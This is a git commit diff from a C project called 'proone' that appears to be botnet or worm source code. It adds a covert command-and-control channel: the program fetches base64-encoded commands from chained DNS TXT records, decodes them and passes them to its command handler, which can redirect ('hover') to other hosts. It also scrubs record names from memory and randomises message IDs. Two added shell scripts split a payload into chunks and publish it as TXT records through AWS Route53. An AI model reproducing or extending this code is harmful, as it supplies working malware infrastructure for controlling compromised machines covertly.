diff options
author | David Timber <mieabby@gmail.com> | 2020-09-03 11:38:09 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-03 11:38:09 +0930 |
commit | e81c2636cee72af718e99fd98006fa9277de2a65 (patch) | |
tree | dffb8cb9b8d9f4eb55a55fedc5d63c8a0ef6c4a3 | |
parent | f4f959f7842cd9b28500fcd7f506493606376db5 (diff) |
* Impl: CNCP
* [htbt] Use randomly generated number for SOLICIT request
* Die on pth sync funcs only if debug build
* Fix wrong use of pth_mutex_acquire(): use with event can result in failure
* [htbt] Take "blackhole" fd as param
* Remove unused include to reduce compile time
* [htbt] Add const macro values for random msg_id gen
* [resolv] Make prne_resolv_prm_t reusable
* [resolv] Fix mem leak in proone-resolv
* [resolv] Sanity check before returning prm so
users don't have to worry about SEGFAULT
* Add txtrec-*.sh for CNCP
-rw-r--r-- | .vscode/launch.json | 24 | ||||
-rw-r--r-- | .vscode/tasks.json | 5 | ||||
-rwxr-xr-x | src/data/proto-test/txtrec-enc.sh | 19 | ||||
-rwxr-xr-x | src/data/proto-test/txtrec-set.sh | 61 | ||||
-rw-r--r-- | src/dvault.c | 3 | ||||
-rw-r--r-- | src/htbt.c | 399 | ||||
-rw-r--r-- | src/htbt.h | 1 | ||||
-rw-r--r-- | src/proone-htbthost.c | 1 | ||||
-rw-r--r-- | src/proone-resolv.c | 3 | ||||
-rw-r--r-- | src/protocol.h | 12 | ||||
-rw-r--r-- | src/pth.c | 4 | ||||
-rw-r--r-- | src/resolv.c | 34 |
12 files changed, 500 insertions, 66 deletions
diff --git a/.vscode/launch.json b/.vscode/launch.json index d3bf892..b80310d 100644 --- a/.vscode/launch.json +++ b/.vscode/launch.json @@ -9,7 +9,7 @@ "type": "cppdbg", "request": "launch", "program": "${workspaceFolder}/src/proone-htbthost", - "args": ["test", "--no-verify"], + "args": [ "test", "--no-verify" ], "stopAtEntry": false, "cwd": "${workspaceFolder}", "environment": [], @@ -20,10 +20,30 @@ "description": "Follow parent fork", "text": "set follow-fork-mode parent", "ignoreFailures": false + }, + { + "description": "Ignore SIGPIPE", + "text": "handle SIGPIPE nostop print", + "ignoreFailures": false } ], "preLaunchTask": "Build htbthost", "miDebuggerPath": "/usr/bin/gdb" + }, + { + "name": "resolv", + "type": "cppdbg", + "request": "launch", + "program": "${workspaceFolder}/src/proone-resolv", + "args": [], + "stopAtEntry": false, + "cwd": "${workspaceFolder}", + "environment": [], + "externalConsole": false, + "MIMode": "gdb", + "setupCommands": [], + "preLaunchTask": "Build resolv", + "miDebuggerPath": "/usr/bin/gdb" } ] -}
\ No newline at end of file +} diff --git a/.vscode/tasks.json b/.vscode/tasks.json index b0142ea..00c792a 100644 --- a/.vscode/tasks.json +++ b/.vscode/tasks.json @@ -29,6 +29,11 @@ "label": "Build htbthost", "type": "shell", "command": "make -C ./src proone-htbthost" + }, + { + "label": "Build resolv", + "type": "shell", + "command": "make -C ./src proone-resolv" } ] } diff --git a/src/data/proto-test/txtrec-enc.sh b/src/data/proto-test/txtrec-enc.sh new file mode 100755 index 0000000..0836f0f --- /dev/null +++ b/src/data/proto-test/txtrec-enc.sh @@ -0,0 +1,19 @@ +#!/bin/bash +if [ $# -lt 1 ]; then + echo "Usage: $0 <prefix>" >&2 + exit 2 +fi + +set -e +cnt=0 +while true; do + rec="$(dd bs=189 count=1 status=none | base64 -w0)" + if [ -z "$rec" ]; then + break + fi + + printf "%08X%s %s\n" $cnt "$1" "$rec" + let "cnt += 1" +done + +printf "\n%08x%s\n" $cnt "$1" diff --git a/src/data/proto-test/txtrec-set.sh b/src/data/proto-test/txtrec-set.sh new file mode 100755 index 0000000..50bb07d --- /dev/null +++ b/src/data/proto-test/txtrec-set.sh @@ -0,0 +1,61 @@ +#!/bin/bash +set -e + +ARR_HOOKS=" + aws +" + +if [ $# -lt 2 ]; then + echo "Usage: $0 <head rec> <hook> <zone id> [TTL] +Hooks:" >&2 + for h in $ARR_HOOKS; do + echo -e "\t$h" + done + + exit 2 +fi + +HEAD_REC="$1" +HOOK="$2" +ZONE_ID="$3" +if [ -z "$4" ]; then + TTL=3600 +else + TTL="$4" +fi + +aws_param () { + cat << EOF +{ + "Changes": [ + { + "Action": "UPSERT", + "ResourceRecordSet": { + "Name": "$1", + "Type": "TXT", + "TTL": $TTL, + "ResourceRecords": [ + { "Value": "\"$2\"" } + ] + } + } + ] +} +EOF +} + +hook_aws () { + aws route53 change-resource-record-sets\ + --hosted-zone-id "$ZONE_ID"\ + --change-batch "$(aws_param "$1" "$2")" +} + +while read line; do + if [ -z "$line" ]; then + break; + fi + "hook_$HOOK" $line +done + +read line +"hook_$HOOK" "$HEAD_REC" "$line" diff --git a/src/dvault.c b/src/dvault.c index 1fdb646..9fbf57f 100644 --- a/src/dvault.c +++ b/src/dvault.c @@ -3,9 +3,6 @@ #include "util_ct.h" #include "endian.h" -#include <stdint.h> -#include <stdbool.h> -#include <stdlib.h> #include <string.h> @@ -16,6 +16,8 @@ #include <sys/wait.h> #include <sys/ioctl.h> +#include <mbedtls/base64.h> + // Hover Max Redirection count #define HTBT_HOVER_MAX_REDIR 5 // CNCP interval: HTBT_CNCP_INT_MIN + variance @@ -26,6 +28,9 @@ #define HTBT_CNCP_INT_VAR 2000 #define HTBT_LBD_PORT prne_htobe16(PRNE_HTBT_PROTO_PORT) #define HTBT_LBD_BACKLOG 4 + +// CNCP TXT Record Data Transfer Timeout +static const struct timespec HTBT_CNCP_STREAM_TIMEOUT = { 1800, 0 }; // 30m // Slave Socket Operation Timeout static const struct timespec HTBT_SLV_SCK_OP_TIMEOUT = { 10, 0 }; // 10s // Slave Status Send Timeout @@ -45,9 +50,9 @@ typedef struct { bool (*loopchk_f)(void *ioctx); bool (*setup_f)(void *ioctx, pth_event_t ev); void (*cleanup_f)(void *ioctx, pth_event_t ev); - int (*read_f)(void *ioctx, void *buf, const size_t len); - int (*write_f)(void *ioctx, const void *buf, const size_t len); - void (*hover_f)( // TODO: assign + ssize_t (*read_f)(void *ioctx, void *buf, const size_t len); + ssize_t (*write_f)(void *ioctx, const void *buf, const size_t len); + void (*hover_f)( void *ioctx, const prne_htbt_hover_t *hv, prne_htbt_status_code_t *status, @@ -60,6 +65,13 @@ typedef struct { } htbt_slv_ctx_t; typedef struct { + prne_htbt_t *parent; + pth_t pth; + int fd[2]; + htbt_slv_ctx_t slv; +} htbt_cncp_client_t; + +typedef struct { pth_t pth; prne_htbt_t *parent; htbt_slv_ctx_t slv; @@ -102,6 +114,7 @@ struct prne_htbt { pth_cond_t cond; } main; struct { // CNC DNS Record Probe + char txtrec[256]; pth_t pth; pth_mutex_t lock; pth_cond_t cond; @@ -147,10 +160,10 @@ static bool htbt_main_q_req_slip (prne_htbt_t *ctx, htbt_req_slip_t *in) { } htbt_init_req_slip(ny_slip); - prne_assert(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); + prne_dbgtrap(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); alloc = prne_llist_append(&ctx->main.req_q, ny_slip) != NULL; if (alloc) { - pth_cond_notify(&ctx->main.cond, FALSE); + prne_dbgtrap(pth_cond_notify(&ctx->main.cond, FALSE)); } pth_mutex_release(&ctx->main.lock); if (alloc) { @@ -205,7 +218,7 @@ static bool htbt_main_q_hover ( htbt_init_hv_req_body(body); body->parent = ctx; if (trace == NULL) { - prne_assert(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); + prne_dbgtrap(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); ny_trace = prne_llist_append(&ctx->main.hover_req, (void*)1); pth_mutex_release(&ctx->main.lock); if (ny_trace == NULL) { @@ -228,7 +241,7 @@ static bool htbt_main_q_hover ( ret = true; END: if (ny_trace != NULL) { - prne_assert(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); + prne_dbgtrap(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); prne_llist_append(&ctx->main.hover_req, ny_trace); pth_mutex_release(&ctx->main.lock); } @@ -1243,6 +1256,8 @@ static bool htbt_slv_consume_inbuf ( bool ret = true; while (ret && ctx->valid) { + htbt_slv_skip_inbuf(ctx); + prne_htbt_free_msg_head(&f_head); prne_htbt_init_msg_head(&f_head); @@ -1288,8 +1303,6 @@ static bool htbt_slv_consume_inbuf ( htbt_slv_raise_protoerr(ctx, f_head.id, PRNE_HTBT_STATUS_UNIMPL); goto END; } - - htbt_slv_skip_inbuf(ctx); } END: @@ -1311,6 +1324,8 @@ static void *htbt_slv_entry (void *p) { if (!ctx->setup_f(ctx->ioctx, ev_timeout)) { goto END; } + pth_event_free(ev_timeout, FALSE); + ev_timeout = NULL; pfd[0].fd = ctx->fd[0]; pfd[1].fd = ctx->fd[1]; @@ -1321,8 +1336,8 @@ static void *htbt_slv_entry (void *p) { prne_pth_tstimeout(HTBT_SLV_SCK_OP_TIMEOUT)); prne_assert(ev_timeout != NULL); } - pth_event_free(ev_root, FALSE); + pth_event_free(ev_root, FALSE); if (ctx->iobuf[1].len > 0) { pfd[0].events = 0; pfd[1].events = POLLOUT; @@ -1340,12 +1355,9 @@ static void *htbt_slv_entry (void *p) { prne_assert(ev_root != NULL); pth_event_concat(ev_root, ev_timeout, NULL); - prne_assert(pth_mutex_acquire(ctx->cv.lock, FALSE, ev_timeout)); - pth_cond_await(ctx->cv.cond, ctx->cv.lock, ev_timeout); + prne_dbgtrap(pth_mutex_acquire(ctx->cv.lock, FALSE, NULL)); + pth_cond_await(ctx->cv.cond, ctx->cv.lock, ev_root); pth_mutex_release(ctx->cv.lock); - if (pth_event_status(ev_timeout) == PTH_STATUS_OCCURRED) { - break; - } f_ret = poll(pfd, 2, 0); if (f_ret < 0 && errno != EINTR) { @@ -1355,6 +1367,12 @@ static void *htbt_slv_entry (void *p) { break; } else { + pth_event_free(ev_timeout, FALSE); + ev_timeout = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_SLV_SCK_OP_TIMEOUT)); + prne_assert(ev_timeout != NULL); + if (pfd[1].revents & POLLOUT) { htbt_slv_consume_outbuf(ctx, 0, ev_timeout); } @@ -1460,7 +1478,7 @@ ERR: pfd[i].fd = -1; } - prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, ev_root)); + prne_dbgtrap(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); if (ctx->loop_flag) { pth_cond_await(&ctx->cond, &ctx->lock, ev_root); } @@ -1506,7 +1524,16 @@ static bool htbt_main_slv_setup_f (void *ioctx, pth_event_t ev) { prne_htbt_msg_head_t mh; prne_htbt_init_msg_head(&mh); - mh.id = 1; + if (mbedtls_ctr_drbg_random( + ctx->parent->param.ctr_drbg, + (unsigned char *)&mh.id, + sizeof(mh.id) == 0)) + { + mh.id = (mh.id % PRNE_HTBT_MSG_ID_DELTA) + PRNE_HTBT_MSG_ID_MIN; + } + else { + mh.id = PRNE_HTBT_MSG_ID_MIN; + } mh.is_rsp = false; mh.op = PRNE_HTBT_OP_SOLICIT; prne_htbt_ser_msg_head(NULL, 0, &actual, &mh); @@ -1544,12 +1571,16 @@ static void htbt_main_slv_cleanup_f (void *ioctx, pth_event_t ev) { ev); } -static int htbt_main_slv_read_f (void *ioctx, void *buf, const size_t len) { +static ssize_t htbt_main_slv_read_f ( + void *ioctx, + void *buf, + const size_t len) +{ htbt_main_client_t *ctx = (htbt_main_client_t*)ioctx; return mbedtls_ssl_read(&ctx->ssl, (unsigned char*)buf, len); } -static int htbt_main_slv_write_f ( +static ssize_t htbt_main_slv_write_f ( void *ioctx, const void *buf, const size_t len) @@ -1637,7 +1668,7 @@ static void htbt_main_srv_hover ( htbt_slv_entry(&c.slv); if (!c.hv_used) { - prne_assert(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); + prne_dbgtrap(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); prne_llist_erase(&ctx->main.hover_req, c.hv_trace); pth_mutex_release(&ctx->main.lock); } @@ -1656,7 +1687,7 @@ static void *htbt_main_entry (void *p) { prne_assert(pth_resume(ctx->cncp.pth)); while (ctx->loop_flag) { - prne_assert(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); + prne_dbgtrap(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); if (ctx->main.req_q.head == NULL) { pth_cond_await(&ctx->main.cond, &ctx->main.lock, NULL); } @@ -1702,45 +1733,307 @@ FREE: return NULL; } +static void htbt_cncp_scrub_names (prne_resolv_fut_t *fut) { + if (fut == NULL) { + return; + } + + for (size_t i = 0; i < fut->rr_cnt; i += 1) { + prne_memzero(fut->rr[i].name, prne_nstrlen(fut->rr[i].name)); + } +} + +static bool htbt_cncp_slv_loopchk_f (void *ioctx) { + htbt_cncp_client_t *ctx = (htbt_cncp_client_t*)ioctx; + return ctx->parent->loop_flag; +} + +static bool htbt_cncp_slv_setup_f (void *ioctx, pth_event_t ev) { + return true; +} + +static void htbt_cncp_slv_cleanup_f (void *ioctx, pth_event_t ev) { + htbt_cncp_client_t *ctx = (htbt_cncp_client_t*)ioctx; + + close(ctx->fd[0]); + ctx->fd[0] = -1; +} + +static ssize_t htbt_cncp_slv_read_f ( + void *ioctx, + void *buf, + const size_t len) +{ + htbt_cncp_client_t *ctx = (htbt_cncp_client_t*)ioctx; + return read(ctx->fd[0], buf, len); +} + +static ssize_t htbt_cncp_slv_write_f ( + void *ioctx, + const void *buf, + const size_t len) +{ + return len; +} + +static void htbt_cncp_slv_hover_f ( + void *ioctx, + const prne_htbt_hover_t *hv, + prne_htbt_status_code_t *status, + int32_t *err) +{ + htbt_cncp_client_t *ctx = (htbt_cncp_client_t*)ioctx; + + // Ignore HTBT_HOVER_MAX_REDIR + if (htbt_main_q_hover(ctx->parent, hv, NULL)) { + *status = PRNE_HTBT_STATUS_OK; + *err = 0; + } + else { + *status = PRNE_HTBT_STATUS_ERRNO; + *err = errno; + } +} + +static void htbt_cncp_stream_slv ( + prne_htbt_t *ctx, + prne_resolv_prm_t *prm, + prne_pth_cv_t *cv, + const uint_fast32_t len) +{ + pth_event_t ev = NULL, ev_time; + htbt_cncp_client_t c; + uint8_t m_buf[189]; + prne_iobuf_t trio; + size_t declen; + + prne_init_iobuf(&trio); + prne_iobuf_setextbuf(&trio, m_buf, sizeof(m_buf), 0); + ev_time = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_CNCP_STREAM_TIMEOUT)); + prne_assert(ev_time != NULL); + + c.parent = ctx; + c.pth = NULL; + c.fd[0] = c.fd[1] = -1; + htbt_init_slv_ctx(&c.slv); + + if (pipe(c.fd) != 0 || + !prne_sck_fcntl(c.fd[0]) || + !prne_sck_fcntl(c.fd[1])) + { + prne_dbgperr("CNCP slave input channel"); + goto END; + } + + c.slv.fd[0] = c.fd[0]; + c.slv.fd[1] = ctx->param.blackhole; + c.slv.ioctx = &c; + c.slv.loopchk_f = htbt_cncp_slv_loopchk_f; + c.slv.setup_f = htbt_cncp_slv_setup_f; + c.slv.cleanup_f = htbt_cncp_slv_cleanup_f; + c.slv.read_f = htbt_cncp_slv_read_f; + c.slv.write_f = htbt_cncp_slv_write_f; + c.slv.hover_f = htbt_cncp_slv_hover_f; + c.slv.cbset = &ctx->param.cb_f; + if (!htbt_alloc_slv_iobuf(&c.slv)) { + prne_dbgperr("htbt_alloc_slv_iobuf()@CNCP"); + goto END; + } + c.slv.cv.lock = &ctx->lock; + c.slv.cv.cond = &ctx->cond; + + c.pth = pth_spawn(PTH_ATTR_DEFAULT, htbt_slv_entry, &c.slv); + if (c.pth == NULL) { + prne_dbgperr("pth_spawn()@CNCP"); + goto END; + } + + for (uint_fast32_t i = 0; i < len; ) { + prne_hex_tochar(prne_getmsb32(i, 0), ctx->cncp.txtrec + 0, true); + prne_hex_tochar(prne_getmsb32(i, 1), ctx->cncp.txtrec + 2, true); + prne_hex_tochar(prne_getmsb32(i, 2), ctx->cncp.txtrec + 4, true); + prne_hex_tochar(prne_getmsb32(i, 3), ctx->cncp.txtrec + 6, true); + + if (!prne_resolv_prm_gettxtrec( + ctx->param.resolv, + ctx->cncp.txtrec, + cv, + prm)) + { + prne_dbgperr("prne_resolv_prm_gettxtrec()@CNCP"); + goto END; + } + + prne_dbgtrap(pth_mutex_acquire(cv->lock, FALSE, NULL)); + if (ctx->loop_flag) { + // Will be notified by resolv or fin() caller + pth_cond_await(cv->cond, cv->lock, ev_time); + } + pth_mutex_release(cv->lock); + if (!ctx->loop_flag || + pth_event_status(ev_time) == PTH_STATUS_OCCURRED) + { + goto END; + } + + htbt_cncp_scrub_names(prm->fut); + if (prm->fut->qr == PRNE_RESOLV_QR_OK) { + int f_ret; + + if (prm->fut->rr_cnt != 1) { + prne_dbgpf( + "%s: invalid number of TXT record\n", + ctx->cncp.txtrec); + goto END; + } + + f_ret = mbedtls_base64_decode( + trio.m + trio.len, + trio.avail, + &declen, + prm->fut->rr[0].rd_data + 1, + prm->fut->rr[0].rd_data[0]); + if (f_ret < 0) { + prne_dbgpf("* mbedtls_base64_decode()@CNCP: %d\n", f_ret); + goto END; + } + prne_iobuf_shift(&trio, declen); + + while (trio.len > 0 && ctx->loop_flag) { + pth_event_free(ev, FALSE); + ev = pth_event( + PTH_EVENT_FD | + PTH_UNTIL_FD_WRITEABLE | + PTH_UNTIL_FD_EXCEPTION, + c.fd[1]); + prne_assert(ev != NULL); + + prne_dbgtrap(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + if (ctx->loop_flag) { + pth_cond_await(&ctx->cond, &ctx->lock, ev); + } + pth_mutex_release(&ctx->lock); + + f_ret = write(c.fd[1], trio.m, trio.len); + if (f_ret == 0 || + (f_ret < 0 && + (errno != EWOULDBLOCK && errno != EAGAIN))) + { + goto END; + } + prne_iobuf_shift(&trio, -f_ret); + } + + i += 1; + } + } + +END: + prne_close(c.fd[1]); + if (c.pth != NULL) { + pth_join(c.pth, NULL); + } + + pth_event_free(ev, FALSE); + pth_event_free(ev_time, FALSE); + prne_close(c.fd[0]); + htbt_free_slv_ctx(&c.slv); + prne_free_iobuf(&trio); +} + static void htbt_cncp_do_probe (prne_htbt_t *ctx) { prne_resolv_prm_t prm; - bool r_ret; prne_pth_cv_t cv; - char txtrec[256]; prne_resolv_init_prm(&prm); - cv.lock = &ctx->lock; - cv.cond = &ctx->cond; + cv.lock = &ctx->cncp.lock; + cv.cond = &ctx->cncp.cond; cv.broadcast = false; - if (!ctx->param.cb_f.cnc_txtrec(txtrec)) { + if (!ctx->param.cb_f.cnc_txtrec(ctx->cncp.txtrec)) { goto END; } - txtrec[255] = 0; - r_ret = prne_resolv_prm_gettxtrec( - ctx->param.resolv, - txtrec, - &cv, - &prm); - if (!r_ret) { - goto END; + ctx->cncp.txtrec[255] = 0; + { + const bool q_ret = prne_resolv_prm_gettxtrec( + ctx->param.resolv, + ctx->cncp.txtrec, + &cv, + &prm); + prne_memzero(ctx->cncp.txtrec, sizeof(ctx->cncp.txtrec)); + if (!q_ret) { + prne_dbgperr("prne_resolv_prm_gettxtrec()"); + goto END; + } } - prne_assert(pth_mutex_acquire(cv.lock, FALSE, NULL)); - pth_cond_await(cv.cond, cv.lock, NULL); // Will be notified by resolv. + prne_dbgtrap(pth_mutex_acquire(cv.lock, FALSE, NULL)); + if (ctx->loop_flag) { + // Will be notified by resolv or fin() caller + pth_cond_await(cv.cond, cv.lock, NULL); + } pth_mutex_release(cv.lock); + if (!ctx->loop_flag) { + goto END; + } if (prm.fut->qr == PRNE_RESOLV_QR_OK && prm.fut->rr_cnt > 0) { - // Scrub off the name - for (size_t i = 0; i < prm.fut->rr_cnt; i += 1) { - prne_memzero(prm.fut->rr[i].name, strlen(prm.fut->rr[i].name)); + uint8_t len[4]; + + htbt_cncp_scrub_names(prm.fut); + { + size_t idx; + prne_resolv_rr_t *rr; + size_t prefix_len; + + // Use whichever head (load balancing) + if (mbedtls_ctr_drbg_random( + ctx->param.ctr_drbg, + (unsigned char *)&idx, + sizeof(idx)) == 0) + { + idx = idx % prm.fut->rr_cnt; + } + else { + idx = 0; + } + rr = prm.fut->rr + idx; + + // <uint32_t number of entries in hex> <txt rec name suffix> + // Parse header + if (rr->rd_data[0] < 9) { + prne_dbgpf("* TXTREC format error: insufficient length\n"); + goto END; + } + if (!prne_hex_fromstr((char*)rr->rd_data + 1, len + 0) || + !prne_hex_fromstr((char*)rr->rd_data + 3, len + 1) || + !prne_hex_fromstr((char*)rr->rd_data + 5, len + 2) || + !prne_hex_fromstr((char*)rr->rd_data + 7, len + 3)) + { + prne_dbgpf("* TXTREC format error: invalid length string\n"); + goto END; + } + prefix_len = rr->rd_data[0] - 8; + memcpy(ctx->cncp.txtrec + 8, rr->rd_data + 9, prefix_len); + ctx->cncp.txtrec[8 + prefix_len] = 0; } - // TODO - // <entries in hex> <txt rec name suffix> + + htbt_cncp_stream_slv( + ctx, + &prm, + &cv, + prne_recmb_msb32(len[0], len[1], len[2], len[3])); + } + else { + prne_dbgpf( + "* TXTREC resolv error: %s\n", + prne_resolv_qr_tostr(prm.fut->qr)); } END: - prne_memzero(txtrec, sizeof(txtrec)); + prne_memzero(ctx->cncp.txtrec, sizeof(ctx->cncp.txtrec)); prne_resolv_free_prm(&prm); } @@ -1766,7 +2059,7 @@ static void *htbt_cncp_entry (void *p) { // wait prne_assert(ev != NULL); // fatal without timeout - prne_assert(pth_mutex_acquire(&ctx->cncp.lock, FALSE, NULL)); + prne_dbgtrap(pth_mutex_acquire(&ctx->cncp.lock, FALSE, NULL)); if (ctx->loop_flag) { pth_cond_await(&ctx->cncp.cond, &ctx->cncp.lock, ev); } @@ -1799,12 +2092,20 @@ static void htbt_lbd_slv_cleanup_f (void *ioctx, pth_event_t ev) { prne_shutdown(ctx->fd, SHUT_RDWR); } -static int htbt_lbd_slv_read_f (void *ioctx, void *buf, const size_t len) { +static ssize_t htbt_lbd_slv_read_f ( + void *ioctx, + void *buf, + const size_t len) +{ htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ioctx; return mbedtls_ssl_read(&ctx->ssl, (unsigned char*)buf, len); } -static int htbt_lbd_slv_write_f (void *ioctx, const void *buf, const size_t len) { +static ssize_t htbt_lbd_slv_write_f ( + void *ioctx, + const void *buf, + const size_t len) +{ htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ioctx; return mbedtls_ssl_write(&ctx->ssl, (const unsigned char*)buf, len); } @@ -1947,7 +2248,7 @@ ERR: PTH_EVENT_TIME, prne_pth_tstimeout(HTBT_LBD_BIND_INT)); - prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + prne_dbgtrap(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); if (ctx->loop_flag) { pth_cond_await(&ctx->cond, &ctx->lock, ev); } @@ -2001,7 +2302,7 @@ static void htbt_lbd_serve_loop (prne_htbt_t *ctx) { ent = ent->next; } - prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + prne_dbgtrap(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); if (ctx->loop_flag) { pth_cond_await(&ctx->cond, &ctx->lock, ev); } @@ -2132,7 +2433,8 @@ prne_htbt_t *prne_alloc_htbt ( param.cncp_ssl_conf == NULL || param.main_ssl_conf == NULL || param.ctr_drbg == NULL || - param.resolv == NULL) + param.resolv == NULL || + param.blackhole < 0) { errno = EINVAL; goto ERR; @@ -2191,6 +2493,7 @@ ERR: void prne_htbt_init_param (prne_htbt_param_t *p) { prne_memzero(p, sizeof(prne_htbt_param_t)); + p->blackhole = -1; } void prne_htbt_free_param (prne_htbt_param_t *p) {} @@ -30,6 +30,7 @@ struct prne_htbt_param { mbedtls_ctr_drbg_context *ctr_drbg; prne_resolv_t *resolv; prne_htbt_cbset_t cb_f; + int blackhole; }; diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c index a5b7f83..b4d8bdd 100644 --- a/src/proone-htbthost.c +++ b/src/proone-htbthost.c @@ -471,6 +471,7 @@ int main (const int argc, const char **args) { param.cb_f.hostinfo = cb_hostinfo; param.cb_f.tmpfile = mktmpfile; param.cb_f.ny_bin = cb_ny_bin; + param.blackhole = open("/dev/null", O_WRONLY); w = wkr_arr + 1; htbt = prne_alloc_htbt(w, param); diff --git a/src/proone-resolv.c b/src/proone-resolv.c index eb3318e..f45cab3 100644 --- a/src/proone-resolv.c +++ b/src/proone-resolv.c @@ -66,6 +66,7 @@ static void proc_prompt_line (char *line, const size_t line_len) { bool has_prm = false; prne_dbgast(rm[1].rm_so >= 0 && rm[2].rm_so >= 0); + prne_resolv_init_prm(prm); verb = line + rm[1].rm_so; verb_len = rm[1].rm_eo - rm[1].rm_so; @@ -92,6 +93,7 @@ static void proc_prompt_line (char *line, const size_t line_len) { } else { perror("* Queue failed"); + prne_resolv_free_prm(prm); prne_free(prm); } } @@ -225,6 +227,7 @@ static void *stdout_wkr_entry (void *ctx) { printf(";\n"); prne_resolv_free_prm(prm); + prne_free(prm); cur = prne_llist_erase(&prm_list, cur); } else { diff --git a/src/protocol.h b/src/protocol.h index ebb6b67..0f2beeb 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -258,10 +258,14 @@ typedef bool(*prne_htbt_eq_ft)(const void *a, const void *b); typedef prne_htbt_ser_rc_t(*prne_htbt_ser_ft)(uint8_t *mem, const size_t mem_len, size_t *actual, const void *in); typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)(const uint8_t *data, const size_t len, size_t *actual, void *out); -#define PRNE_HTBT_PROTO_PORT (uint16_t)64420 -#define PRNE_HTBT_ARGS_MAX 255 // _POSIX_ARG_MAX equiv -#define PRNE_HTBT_ARG_MEM_MAX 1023 -#define PRNE_HTBT_STDIO_LEN_MAX 0x0FFF +#define PRNE_HTBT_MSG_ID_MIN 1 +#define PRNE_HTBT_MSG_ID_MAX INT16_MAX +#define PRNE_HTBT_MSG_ID_DELTA INT16_MAX +#define PRNE_HTBT_PROTO_PORT (uint16_t)64420 +// _POSIX_ARG_MAX equiv +#define PRNE_HTBT_ARGS_MAX 255 +#define PRNE_HTBT_ARG_MEM_MAX 1023 +#define PRNE_HTBT_STDIO_LEN_MAX 0x0FFF /* PRNE_HTBT_PROTO_MIN_BUF * @@ -27,8 +27,8 @@ void prne_fin_worker (prne_worker_t *w) { } void prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast) { - prne_assert(pth_mutex_acquire(lock, FALSE, NULL)); - prne_assert(pth_cond_notify(cond, broadcast)); + prne_dbgtrap(pth_mutex_acquire(lock, FALSE, NULL)); + prne_dbgtrap(pth_cond_notify(cond, broadcast)); pth_mutex_release(lock); } diff --git a/src/resolv.c b/src/resolv.c index ddf6921..6fab7a4 100644 --- a/src/resolv.c +++ b/src/resolv.c @@ -244,16 +244,17 @@ static bool resolv_qq (prne_resolv_t *ctx, const char *name, prne_pth_cv_t *cv, goto ERR; } - prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + prne_dbgtrap(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); q_ent->qlist_ent = prne_llist_append(&ctx->qlist, q_ent); if (q_ent->qlist_ent == NULL) { pth_mutex_release(&ctx->lock); goto ERR; } q_ent->tp_queued = prne_gettime(CLOCK_MONOTONIC); - prne_assert(pth_cond_notify(&ctx->cond, FALSE)); + prne_dbgtrap(pth_cond_notify(&ctx->cond, FALSE)); pth_mutex_release(&ctx->lock); + prne_resolv_free_prm(out); out->ctx = q_ent; out->fut = &q_ent->fut; *ny_q_ent = q_ent; @@ -626,7 +627,7 @@ static bool resolv_proc_dns_msg (prne_resolv_t *ctx, const uint8_t *data, const prne_llist_entry_t *cur; query_entry_t *qent; const uint8_t *qname, *alias, *end = data + len, *p, *rname; - size_t i, j, loop_cnt; + size_t i, j, loop_cnt, sane_len; bool ret; if (len < 12) { @@ -759,6 +760,22 @@ static bool resolv_proc_dns_msg (prne_resolv_t *ctx, const uint8_t *data, const tpl->data_len = ((uint_fast16_t)p[8] << 8) | (uint_fast16_t)p[9]; rname = tpl->data = p + 10; + // sanity check + switch (tpl->rtype) { + case PRNE_RESOLV_RTYPE_A: sane_len = 4; break; + case PRNE_RESOLV_RTYPE_AAAA: sane_len = 16; break; + case PRNE_RESOLV_RTYPE_TXT: sane_len = 1; break; + default: sane_len = 0; + } + if (sane_len > tpl->data_len || + (tpl->rtype == PRNE_RESOLV_RTYPE_TXT && + tpl->data_len - 1 < tpl->data[0])) + { + qr = PRNE_RESOLV_QR_PRO_ERR; + *err_flag = true; + goto END; + } + switch (tpl->rtype) { case PRNE_RESOLV_RTYPE_SOA: loop_cnt = 2; @@ -1190,9 +1207,9 @@ static void resolv_wkr_free (void *p) { static void resolv_wkr_fin (void *p) { DECL_CTX_PTR(p); - prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + prne_dbgtrap(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); ctx->ctx_state = RESOLV_CTX_STATE_FIN_CALLED; - prne_assert(pth_cond_notify(&ctx->cond, FALSE)); + prne_dbgtrap(pth_cond_notify(&ctx->cond, FALSE)); pth_mutex_release(&ctx->lock); } @@ -1203,7 +1220,7 @@ static void *resolv_wkr_entry (void *p) { while (ctx->ctx_state == RESOLV_CTX_STATE_OK) { sck_close = false; - prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + prne_dbgtrap(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); if (ctx->qlist.size == 0) { pth_event_t ev; @@ -1339,6 +1356,10 @@ bool prne_resolv_prm_gettxtrec (prne_resolv_t *wkr, const char *name, prne_pth_c } void prne_resolv_free_prm (prne_resolv_prm_t *prm) { + if (prm == NULL) { + return; + } + if (prm->ctx != NULL) { query_entry_t *ent = 